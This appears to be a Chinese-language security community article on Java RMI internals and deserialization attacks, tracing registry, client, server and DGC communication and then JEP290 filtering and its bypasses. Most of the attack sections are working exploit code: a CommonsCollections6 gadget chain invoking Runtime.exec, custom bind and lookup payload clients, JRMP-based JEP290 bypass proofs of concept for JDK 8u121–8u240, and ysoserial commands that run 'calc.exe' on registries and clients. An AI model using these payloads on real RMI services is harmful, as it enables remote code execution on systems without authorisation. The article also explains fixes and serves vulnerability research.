return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}
然后创建一个`RegistryImpl_Stub`对象
private static RemoteStub createStub(Class<?> remoteClass, RemoteRef ref)
throws StubNotFoundException
{
String stubname = remoteClass.getName() + "_Stub";
try {
Class<?> stubcl =
Class.forName(stubname, false, remoteClass.getClassLoader());
Constructor<?> cons = stubcl.getConstructor(stubConsParamTypes);
return (RemoteStub) cons.newInstance(new Object[] { ref });
最终获得一个`RegistryImpl_Stub`对象
#### 服务端、客户端与注册中心通信（bind、unbind、rebind、lookup）
最终在服务端通过createRegistry返回的是RegistryImpl对象，里面有个bindings，以键值储存了绑定的对象，使用bind、unbind、rebind都会直接进入绑定阶段。所以使用createRegistry返回的RegistryImpl对象是无法打注册端的，直接就注册了，根本就没有传输到注册端过程。
Registry registry = LocateRegistry.createRegistry(1091);
registry.bind("rmi://127.0.0.1:1091/Hello", h);
进入bind方法
public void bind(String var1, Remote var2) throws RemoteException, AlreadyBoundException, AccessException {
checkAccess("Registry.bind");
synchronized(this.bindings) {
Remote var4 = (Remote)this.bindings.get(var1);
if (var4 != null) {
throw new AlreadyBoundException(var1);
} else {
this.bindings.put(var1, var2);
如果使用`LocateRegistry.*getRegistry*`那么就会获得一个RegistryImpl_Stub对象，进入bind方法，先执行newCall方法，在里面会写入一些数据。然后序列化对象名称和要绑定的对象。然后invoke方法将数据发送到注册端。
public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
try {
RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);
try {
ObjectOutput var4 = var3.getOutputStream();
var4.writeObject(var1);
var4.writeObject(var2);
} catch (IOException var5) {
throw new MarshalException("error marshalling arguments", var5);
}
super.ref.invoke(var3);
super.ref.done(var3);
注册端接收数据
然后交给UnicastServerRef#dispatch处理，dispatch会得到传输过来的两个对象
可以看见skel值不为null，就会进入oldDispatch中进行，然后进入RegistryImpl_Skel#dispatch
在注册中心的RegistryImpl_Skel#dispatch方法里面执行readObject操作。然后执行对应操作（bind、unbind）
当然高版本会有其他操作，检查绑定ip等等
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch(var3) {
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
......
var6.bind(var7, var8);
然后进入bind函数，到这里与createRegistry直接使用bind就是一样的了。
### 客户端发送参数
客户端执行lookup后会生成一个代理对象，所以执行方法会进入代理对象的invoke方法
判断要调用的方法是否在所有对象中有，然后进入invokeObjectMethod或者invokeRemoteMethod
public Object invoke(Object proxy, Method method, Object[] args){
if (method.getDeclaringClass() == Object.class) {
return invokeObjectMethod(proxy, method, args);
......
} else {
return invokeRemoteMethod(proxy, method, args);
}
}
然后进入RemoteObjectInvocationHandler#invokeRemoteMethod，然后执行ref.invoke，将proxy,
method, args，和method的hash传入
private Object invokeRemoteMethod(Object proxy,Method method,Object[] args)throws Exception{
......
return ref.invoke((Remote) proxy, method, args,getMethodHash(method));
然后进入UnicastRef#invoke->TCPChannel#newConnection发送数据
然后回到UnicastRef#invoke->UnicastRef#marshalValue将传递的参数序列化写入连接。
然后回到UnicastRef#invoke执行`var7.executeCall();`传输数据并获取结果。
然后在UnicastRef#invoke的`Object var50 = *unmarshalValue*(var49,
(ObjectInput)var11);`，然后执行readObject，使用的是jdk自带的readObject。
### 服务端接收参数
服务端通过Transport#serviceCall获取传输过来的信息
然后交给UnicastServerRef#dispatch处理，dispatch会得到传输过来的两个对象
进入UnicastServerRef后，skel为null，就不会进入注册（bind、unbind等等）处理
一直执行到`params = unmarshalParameters(obj, method,
marshalStream);`进行数据处理，判断是否为DeserializationChecker的实例
private Object[] unmarshalParameters(Object obj, Method method, MarshalInputStream in)
throws IOException, ClassNotFoundException {
return (obj instanceof DeserializationChecker) ?
unmarshalParametersChecked((DeserializationChecker)obj, method, in) :
unmarshalParametersUnchecked(method, in);
}
进入unmarshalParametersUnchecked
private Object[] unmarshalParametersUnchecked(Method method, ObjectInput in)
throws IOException, ClassNotFoundException {
Class<?>[] types = method.getParameterTypes();
Object[] params = new Object[types.length];
for (int i = 0; i < types.length; i++) {
params[i] = unmarshalValue(types[i], in);
}
return params;
}
进入`unmarshalValue(types[i], in);`执行readObject
## 如何攻击RMI
执行的方法是使用的服务端的方法，但是我们如何利用嘞
可以访问RMI Registry
如果服务器上存在一些危险方法，可以对危险方法进行探测：<https://github.com/NickstaDB/BaRMIe>
由于RMI传输数据会经过序列化和反序列化，可以直接传输gadget chain
### 利用codebase执行任意代码
codebase是一个地址告诉虚拟机在哪里搜索类，如：codebase=<http://example.com/，就会加载org.vulhub.example.Example类，在RMI流程中，客户端和服务端传递的是序列化后的对象，在这些对象反序列时就会去寻找类，寻找时会先在ClassPath下寻找，然后在codebase中寻找。如果可以控制codebase就能加载恶意类。并且在RMI中，我们可以将codebase一起随着序列化数据一起传送。>
但是只有如下条件的服务器才能被攻击：
1. 设置了java.rmi.server.useCodebaseOnly=false，或者java版本低于7u21、6u45（低于这几个版本默认为false）
2. 设置`System.*setSecurityManager*(new RMISecurityManager());`
否则java只会信任默认配置好的codebase
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient
### 攻击服务端
条件：
1. RMI服务需要接受Object类型数据（实际依据传入的对象类型，CC6改为Map也可以）
2. 服务端要有可以利用的组件或者漏洞
public class RMIClient {
public static void main(String[] args) throws Exception {
Object seri = CommonsCollections6TemplatesImpl();
ServiceInterface hello = (ServiceInterface)
Naming.lookup("rmi://127.0.0.1:1091/Hello");
String ret = hello.hello(seri);
System.out.println(ret);
}
}
#### 绕过Object
jdk 8u66
反序列化的利用点就是UnicastRef的unmarshalValue方法。
protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
if (var0.isPrimitive()) {
if (var0 == Integer.TYPE) {
return var1.readInt();
} else if (var0 == Boolean.TYPE) {
return var1.readBoolean();
} else if (var0 == Byte.TYPE) {
return var1.readByte();
} else if (var0 == Character.TYPE) {
return var1.readChar();
} else if (var0 == Short.TYPE) {
return var1.readShort();
} else if (var0 == Long.TYPE) {
return var1.readLong();
} else if (var0 == Float.TYPE) {
return var1.readFloat();
} else if (var0 == Double.TYPE) {
return var1.readDouble();
} else {
throw new Error("Unrecognized primitive type: " + var0);
}
} else {
return var1.readObject();
}
}
只要不是基本类型都能进入`var1.readObject();`，如果传入的数据类型是Object，我们可以利用任何可以利用的链，但是如果是String类型的嘞，这样就无法传入类似于CC6那种Map的利用链，如果直接修改客户端接口类型会在验证Method
Hash阶段报错，所以不仅要修改参数类型还需要修改Method Hash，或者先计算出正确的Hash然后替换参数。
国外的大佬afanti总结了几种利用方式
1. 修改rmi源码
2. 添加调试器hook客户端程序
3. 使用Javassist更改字节码
4. 使用网络代理更改已经序列化对象
利用工具：<https://github.com/Afant1/RemoteObjectInvocationHandler>
修改VM参数：`-javaagent:E:\windows\download\rasp-1.0-SNAPSHOT.jar`
将其中的URLDNS更换为CC6的利用链
package afanti.rasp.util;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC6 {
public static Object getObject(final String url) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{url}),
new ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.lazyMap(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(lazyMap, "x");
HashSet hashSet = new HashSet(1);
hashSet.add("test");
// 反射获取HashSet中map的值
Field map = Class.forName("java.util.HashSet").getDeclaredField("map");
// 取消访问限制检查
map.setAccessible(true);
// 获取HashSet中map的值
HashMap hashSetMap = (HashMap) map.get(hashSet);
// 反射获取 HashMap 中 table 的值
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
// 取消访问限制检查
table.setAccessible(true);
// 获取 HashMap 中 table 的值
Object[] hashMapTable = (Object[]) table.get(hashSetMap);
Object node = hashMapTable[0];
if (node == null) {
node = hashMapTable[1];
}
// 将 key 设为 tiedMapEntry
Reflections.setFieldValue(node, "key", tme);
return hashSet;
}
}
具体实现是hook InvokeRemoteMethod函数，强制更改了参数值。
#### 注册中心攻击服务端
这个与注册中攻击客户端一样，用处不大。
### 攻击客户端
#### 返回恶意数据
直接返回恶意数据，客户端会反序列化恶意数据，从而造成命令执行
#### 注册中心攻击客户端
注册中心也会返还数据给客户端，也是序列化的数据客户端也会反序列化。
利用ysoserial：`java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099
CommonsCollections6 "calc.exe"`
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RegistryToClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.unbind("http://127.0.0.1/Hello");
}
}
lookup、bind、unbind、rebind都能受到攻击。
### 攻击注册中心
bind，rebind，unbind，lookup都是一样的。不过unbind和lookup只能传输字符串，但我们可以利用反射等方法修改数据。
1. bind函数会将一个对象绑定到注册中心，传输数据的过程是通过序列化的方式，然后注册中心会反序列化该对象，如果传递的是恶意对象，也能造成命令执行。
RMIserver
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIServer {
private void start() throws Exception {
Service h = new Service();
LocateRegistry.createRegistry(1091);
Naming.bind("rmi://127.0.0.1:1091/Hello", h);
}
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}
为什么使用Naming：Naming就是相当于registry的一个封装，这里不能直接使用createRegistry返回的对象的bind、rebind等等。可以使用`LocateRegistry.*getRegistry*();`这和Naming返回的对象都是RegistryImpl_Stub而不是createRegistry方法返回的RegistryImpl对象。具体的执行步骤可以看上面。
#### 直接利用ysoserial
ysoserial：`java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit
127.0.0.1 1091 CommonsCollections1 "calc.exe"`
触发点在RegistryImpl_Skel.class，低版本这个文件并不能直接找到，需要在RegistryImpl.class的bind方法打断点然后看调用栈才能看见，使用rebind，unbind等等就在对应位置打断点。
case 0就是bind分支，其中的
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch(var3) {
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();
try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}
var8 = var6.lookup(var7);
try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}
var6.rebind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}
var6.unbind(var7);
try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
其种的String和Remote类型的参数都可以作为攻击手段，ysoserial就是利用的Remote参数，需要将恶意链包装为Remote参数，而Barmi就是利用的String参数，利用String参数就需要自己构建字节流
包装Remote可以利用动态代理或者自己实现接口
public class ServerRegistry {
public static Remote Payload() throws Exception {
Object seri = CommonsCollections6TemplatesImpl("calc.exe");
Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, seri);
Remote proxyEvalObject = (Remote)Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, evalObject);
return proxyEvalObject;
}
public static void ServerRegistry() throws Exception {
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1/1099/Hello", Payload());
}
public static void main(String[] args) throws Exception {
ServerRegistry();
}
}
利用Remote包装
private static class BindExploit implements Remote, Serializable {
private final Object memberValues;
private BindExploit(Object payload) {
memberValues = payload;
}
}
Remote remote_lala = new BindExploit(payload);
#### 编写lookup攻击
由于lookup只接受String类型参数，所以需要我们模仿lookup传参过程。
package org.payload.rmi.rmiRegistry;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.Map;
import static org.payload.CC.CC6.CommonsCollections6TemplatesImpl.CommonsCollections6TemplatesImpl;
public class ClientToRegistry {
public static void main(String[] args) throws Exception {
Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object seri = CommonsCollections6TemplatesImpl("calc.exe");
InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, seri);
Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, evalObject));
//LocateRegistry.createRegistry(1091);
Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1091);
// 获取super.ref
Field[] fields_0 = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry_remote);
// 获取operations
Field[] fields_1 = registry_remote.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry_remote);
// 跟lookup方法一样的传值过程
RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(proxyEvalObject);
ref.invoke(var2);
}
}
#### 利用报错带出回显
攻击注册中心时，注册中心会直接把异常返还给客户端。
### 利用DGC攻击
#### DGC
分布式垃圾收集机制，在java中如果一个对象没有被任何变量引用那么就可以被垃圾回收机制回收，对于远程对象，不仅会在本地引用，Registry注册表也会持有引用。当客户端获取一个远程对象时，就会向DGC发送一个租赁消息。因此可以利用与DGC的通信进行反序列化漏洞
与RMI通信不同的是，通过UnicastServerRef#OldDispatch进入DGCImpl_Skel#dispatch。通过case分支执行dirty（租赁、续租）或者clean（清除），然后执行到对应的readObject。
case 1:
Lease var10;
try {
ObjectInput var11 = var2.getInputStream();
var7 = (ObjID[])((ObjID[])var11.readObject());
var8 = var11.readLong();
var10 = (Lease)var11.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}
Lease var40 = var6.dirty(var7, var8, var10);
#### 8u121以前
这里的readObject也是我们可以利用的，直接打注册端。
ysoserial:`java -cp ysoserial.jar ysoserial.exploit.JRMPClient 127.0.0.1 1091
CommonsCollections5 "calc.exe"`
## 一些修复
1. 在低版本的JDK中，注册中心和服务端可以不在一个服务器上，但是在8u121之后，在bind方法里面增加了一个checkAccess方法，检查是否为localhost，但是反序列化在bind之前就执行了，并没有什么用，然后在8u141修改为在RegistryImpl_Skel中执行readObject之前就执行了了checkAccess方法，这样bind，rebind，unbind就没有用了。
2. JEP290之后攻击注册端执行readObject时，会有filter过滤，只允许一些白名单类通过。
# JEP290
1. 实现了一个限制反序列化的机制，通过白名单或者黑名单。
2. 现在反序列化深度和复杂度
3. 为远程RMI调用讴歌对象提供验证机制
4. 拥有可配置的过滤机制
适用范围
8u121，7u131，6u141及其之后版本
白名单
String Number Remote Proxy UnicastRef RMIClientSocketFactory RMIServerSocketFactory ActivationID UID
实现方法
提供了一个ObjectInputFilter接口，通过设置filter对象在反序列化（ObjectInputStream#readObject）时触发filter检测。
在JEP290之后只有server和client直接传输恶意数据可以利用，而其他攻击方法都失效了，会显示REJECTED。
我们代理的Remote对象也不能通过，虽然是Remote类型，但是在反序列化时会对其内部字段也进行反序列化，内部白名单外的类都会被检查，外层的Remote虽然过了检查，但是其他恶意类也无法通过，也会被拦截。
## 实现过程
在ObjectInputStream中
readObject->readObject0->readOrdinaryObject->readClassDesc->readProxyDesc或者
readNonProxyDesc->filterCheck
### RMI中实现过程
RegistryImpl_Skel#dispatch中执行readObject，然后一步步执行到过滤器这里，可以看见Remote动态代理是成功通过检查的，但是后面的`AnnotationInvocationHandler`就被拦截了。
但是这里的filter为什么是registryFilter？
在RegistryImpl中，`RegistryImpl::registryFilter`作为一个Lambda表达式，相当于`info->RegistryImpl.registryFilter(info)`
public RegistryImpl(int port,
RMIClientSocketFactory csf,
RMIServerSocketFactory ssf)
throws RemoteException
{
this(port, csf, ssf, RegistryImpl::registryFilter);
}
在RegistryImpl生成的时候就传递给UnicastServerRef2
public RegistryImpl(int port,
RMIClientSocketFactory csf,
RMIServerSocketFactory ssf,
ObjectInputFilter serialFilter)
throws RemoteException
{
if (port == Registry.REGISTRY_PORT && System.getSecurityManager() != null) {
// grant permission for default port only.
try {
AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
public Void run() throws RemoteException {
LiveRef lref = new LiveRef(id, port, csf, ssf);
setup(new UnicastServerRef2(lref, serialFilter));
return null;
}
}, null, new SocketPermission("localhost:"+port, "listen,accept"));
} catch (PrivilegedActionException pae) {
throw (RemoteException)pae.getException();
}
} else {
LiveRef lref = new LiveRef(id, port, csf, ssf);
setup(new UnicastServerRef2(lref, serialFilter));
}
}
-------------------------》
public UnicastServerRef2(LiveRef ref,
ObjectInputFilter filter)
{
super(ref, filter);
}
----------------------》
public UnicastServerRef(LiveRef ref, ObjectInputFilter filter) {
super(ref);
this.filter = filter;
}
在创建时后一直作为UnicastServerRef的变量，在进行处理的时候才传递给ObjectInputStream。
查看ObjectInputStream#filterCheck
private void filterCheck(Class<?> clazz, int arrayLength)
throws InvalidClassException {
if (serialFilter != null) {
RuntimeException ex = null;
ObjectInputFilter.Status status;
// Info about the stream is not available if overridden by subclass, return 0
long bytesRead = (bin == null) ? 0 : bin.getBytesRead();
try {
status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,
totalObjectRefs, depth, bytesRead));
这里的serialFilter就是RegistryImpl$$Lambda。所以最终会执行到RegistryImpl#registryFilter
### 为什么服务端和客户端相互攻击不会被拦截
JEP290是需要我们手动设置的。
在攻击注册端时会被拦截是因为需要传输RegistryImpl对象，这样才能执行到dispatch分支，因为RegistryImpl中主动设置了（RegistryImpl::registryFilter），传输的RegistryImpl对象就有filter。
但是在客户端和服务端相互传输的数据是由UnicastServerRef对象包装。可以看前面的服务端接收数据，filter为null。
### RMI中绕过
#### 方式一：利用DGC开启JRMP
适用版本：8u121-8u230
利用过程
1. 开启服务端
package org.payload.rmi.rmiServer;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
private void start() throws Exception {
Service h = new Service();
Registry registry = LocateRegistry.createRegistry(1091);
Naming.bind("rmi://127.0.0.1:1091/Hello", h);
}
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}
1. ysoserial开启恶意JRMPListener：`java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections5 "calc.exe"`
2. 向注册端方发送恶意的ip port
package org.payload.rmi.rmiRegistry.ToRegistry;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class JRMPToRegistry {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry("127.0.0.1",1091);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1234);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(Registry.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("test12",proxy);
}
}
1. 注册端连接ysoserial开启的JRMPListener，ysoserial发送恶意数据。
##### UnicastRef
RMI中的过滤器只允许白名单中的类通过，那么我们只需要找一个白名单中的类，利用它的readObject即可
服务端客户端与Registry通信都需要UnicastRef，如果我们能控制UnicastRef中的host、port就可以传输恶意的数据（ip
port）。
##### RemoteObject
通过UnicastRef我们可以控制一些数据，但是我们还需要一个readObject来执行连接操作，RemoteObject继承了Remote 和
Serializable 接口，可以通过filter。
查看其readObject方法
private void readObject(ObjectInputStream var1) throws IOException,ClassNotFoundException {
String var2 = var1.readUTF();
if (var2 != null && var2.length() != 0) {
String var3 = "sun.rmi.server." + var2;
Class var4 = Class.forName(var3);
try {
this.ref = (RemoteRef)var4.newInstance();
.....
this.ref.readExternal(var1);
} else {
this.ref = (RemoteRef)var1.readObject();}}
--------------------》
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
this.ref = LiveRef.read(var1, false);
}
---------------------》
public static LiveRef read(ObjectInput var0, boolean var1) throws IOException, ClassNotFoundException {
TCPEndpoint var2;
if (var1) {
var2 = TCPEndpoint.read(var0);
} else {
var2 = TCPEndpoint.readHostPortFormat(var0);
}
ObjID var3 = ObjID.read(var0);
boolean var4 = var0.readBoolean();
LiveRef var5 = new LiveRef(var3, var2, false);
if (var0 instanceof ConnectionInputStream) {
ConnectionInputStream var6 = (ConnectionInputStream)var0;
var6.saveRef(var5);
--------------------------》
void saveRef(LiveRef var1) {
Endpoint var2 = var1.getEndpoint();
Object var3 = (List)this.incomingRefTable.get(var2);
if (var3 == null) {
var3 = new ArrayList();
this.incomingRefTable.put(var2, var3);
}
((List)var3).add(var1);
}
read方法会读取ip host然后传入saveRef重新封装，为的是在调用DGCClient#registerRefs时使用。
上面的readObject方法是在`RegistryImpl_Skel`case中进行的
case 0:
RegistryImpl.checkAccess("Registry.bind");
try {
var9 = var2.getInputStream();
var7 = (String)var9.readObject();
var80 = (Remote)var9.readObject();
} catch (ClassNotFoundException | IOException var77) {
throw new UnmarshalException("error unmarshalling arguments", var77);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var80);
执行完readObject后到`var2.releaseInputStream();`
public void releaseInputStream() throws IOException {
try {
if (this.in != null) {
try {
this.in.done();
} catch (RuntimeException var5) {
}
this.in.registerRefs();
this.in.done(this.conn);
}
this.conn.releaseInputStream();
} finally {
this.in = null;}}
然后执行registerRefs()
void registerRefs() throws IOException {
if (!this.incomingRefTable.isEmpty()) {
Iterator var1 = this.incomingRefTable.entrySet().iterator();
while(var1.hasNext()) {
Entry var2 = (Entry)var1.next();
DGCClient.registerRefs((Endpoint)var2.getKey(), (List)var2.getValue());
}}}
发起lookup连接
static void registerRefs(Endpoint var0, List<LiveRef> var1) {
DGCClient.EndpointEntry var2;
do {
var2 = DGCClient.EndpointEntry.lookup(var0);
} while(!var2.registerRefs(var1));
}
`this.incomingRefTable`就是一个HashMap，就是在前面的saveRef赋值的，里面有传入的恶意JRMP的ip
port，然后由DGCClient向恶意的JRMP发起连接。
此时我们的RMI注册端就变成了JRMP客户端，但是最终要这么利用嘞
向恶意JRMP服务器发起dirty请求
执行super.ref.invoke(var5)发送数据和处理接收的数据，
咋executeCall()中执行readObject()，这里是处理服务端发送过来的消息。ysoserial将报错信息改为payload，因为要更改报错信息所以需要自己实现一个服务端。
##### 使用lookup
对于lookup也是可以实现攻击的，虽然只能传入String类型，但是对比起bind、rebind、unbind需要验证ip，lookup就不需要验证ip，只需要修改一下传输数据或者重新实现lookup的代码逻辑就能使用。
修改数据：<https://github.com/lalajun/RMIDeserialize/releases>
重新实现lookup：<https://github.com/wh1t3p1g/ysomap>
##### 修复
1. sun.rmi.registry.RegistryImpl_Skel#dispatch报错情况消除ref
2. sun.rmi.transport.DGCImpl_Stub#dirty提前了黑名单
3. 1. 虽然能够连接成功，但是CC链也被过滤了
#### 方式二
适用版本：8u231-8u240
直接利用了UnicastRemoteObject的readObject然后一路执行到TCPTransport#listen，在TcpEndpoint#newServerSocket，触发动态代理（RemoteObjectInvocationHandler
代理的RMIServerSocketFactory接口）
ServerSocket newServerSocket() throws IOException {
if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
TCPTransport.tcpLog.log(Log.VERBOSE, "creating server socket on " + this);
}
Object var1 = this.ssf;
if (var1 == null) {
var1 = chooseFactory();
}
ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort);
到RMIServerSocketFactory#invoke->RemoteObjectInvocationHandler#invokeRemoteMethod->UnicastRef#invoke
然后就建立JRMP连接，反序列化ysoserial的数据
在bind或咋rebind的时候在MarshalOutputStream#replaceObject方法，如果对象没有继承RemoteStub，那么UnicastRemoteObject
会被转化成 RemoteObjectInvocationHandler，我们可以利用反射修改enableReplace为false。
poc
package org.payload.rmi.bypassJEP290;
import sun.rmi.registry.RegistryImpl_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.*;
import java.rmi.server.*;
import java.util.Random;
public class Client2 {
public static void main(String[] args) throws Exception {
UnicastRemoteObject payload = getPayload();
Registry registry = LocateRegistry.getRegistry(1091);
bindReflection("pwn", payload, registry);
}
static UnicastRemoteObject getPayload() throws Exception {
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1234);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(
handler.getClass().getClassLoader(),
new Class[]{RMIServerSocketFactory.class, Remote.class},
handler
);
Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
constructor.setAccessible(true);
UnicastRemoteObject unicastRemoteObject = constructor.newInstance();
Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
field_ssf.setAccessible(true);
field_ssf.set(unicastRemoteObject, factory);
return unicastRemoteObject;
}
static void bindReflection(String name, Object obj, Registry registry) throws Exception {
Field ref_filed = RemoteObject.class.getDeclaredField("ref");
ref_filed.setAccessible(true);
UnicastRef ref = (UnicastRef) ref_filed.get(registry);
Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations");
operations_filed.setAccessible(true);
Operation[] operations = (Operation[]) operations_filed.get(registry);
RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L);
ObjectOutput outputStream = remoteCall.getOutputStream();
Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace");
enableReplace_filed.setAccessible(true);
enableReplace_filed.setBoolean(outputStream, false);
outputStream.writeObject(name);
outputStream.writeObject(obj);
ref.invoke(remoteCall);
ref.done(remoteCall);
}
}
8u241之后对RMI反序列化攻击就基本无了 | 社区文章 |
## Author: bipabo1l@京东安全
## 主题
